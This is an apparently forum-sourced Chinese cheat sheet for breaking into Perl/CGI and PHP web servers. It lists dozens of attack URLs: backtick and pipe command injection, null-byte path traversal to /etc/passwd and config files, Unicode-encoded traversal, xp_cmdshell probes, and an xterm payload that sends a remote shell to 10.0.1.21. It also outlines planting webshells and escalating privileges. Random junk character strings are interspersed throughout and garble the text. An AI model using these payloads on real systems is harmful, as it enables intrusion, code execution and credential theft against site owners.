总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 ; ?- u2 R8 j) L& l* X
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
& ?2 U/ {$ L5 ]9 D* o/ K. L- i感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ) ] b0 g7 H, t) D; }
注“
1 W- x v; ~2 p! C' tperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
% M# N% n. d$ T% E* f以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
+ k1 c$ ]' V, j4 O/ W6 j2 o' r# x3 [+ n6 T4 s* @
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 3 Y6 X0 u! f# U3 M6 Y1 z& _! n
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
- R0 O! J9 C& Y L5 A r. r6 Xhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 7 ^6 G9 u4 o% g
http://target.com/cgi-bin/home/news/sub.pl?`id` 1 S1 N: b0 E3 b0 a
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
; U: O# V1 s4 T& o6 Z9 N; mhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
+ T/ M- ^3 P5 O* _0 f1 W
* h) H% J( D2 L( ohttp://target.com/test.pl;ls| 9 \% v) m/ K5 H1 m7 }& k4 r
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
( w9 i& C, m O6 W: s1 w! h* q) Ihttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ' F: h( {& X7 s; z1 u% C k7 _/ w
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
# m; S$ V3 k4 g: s: j. `6 x+ d比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 , ^' t' R4 G0 X
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 1 B+ H8 |' m: a0 U
6 T: f; L4 n7 M l! P# jhttp://target.com/test.pl?&........ /../../etc/passwd & A' }4 ] T1 x) A: r
1 p0 B! ]/ a7 [$ x4 l# J( Bhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ / A! e$ p+ Z5 T/ G4 ]
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 ' T8 d& C. w$ n7 W5 R9 p u L( | i
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
9 y, h0 m: e( K4 @
D6 ^9 Z [$ ?; T9 g" yhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
. v9 t+ ^0 R* R2 V6 [http://www.target.org/show.php?f ... ng/admin/global.php 4 B2 T% A) A4 W( J3 ~2 r
1 a: r" O, @" R- ?% D! F
emm和ps的一句话
* m M) I& E- l v/ X, w0 r7 M+ x# l, v- r
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 " P! q$ J/ C" ~1 a( F9 I$ p
$ s3 i( N, d, p1 g
>bbb%20| / n8 Q" ]2 i! T8 t# Q
4 T& ~' ^" Y- ~0 ^
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 ( \% y% y2 u. x4 O
. ]8 j* d' L/ lhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 7 t U ~ a1 t2 Y( N, ^/ t# p
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
! G' @, U8 [# } x5 u) E
# C, m. G+ S! [7 i相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
( b) Y4 G, W; L0 U& y* Ohttp://target.com/index.html#cmd.exe
3 ]7 Z( n, w; w' Q4 \8 V$ |. I8 Ghttp://target.com/index.html?dummyparam=xp_cmdshell
5 N, y# [' P' _3 b3 ?7 t0 Z* flynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
/ A) e) F3 h6 _) w; a |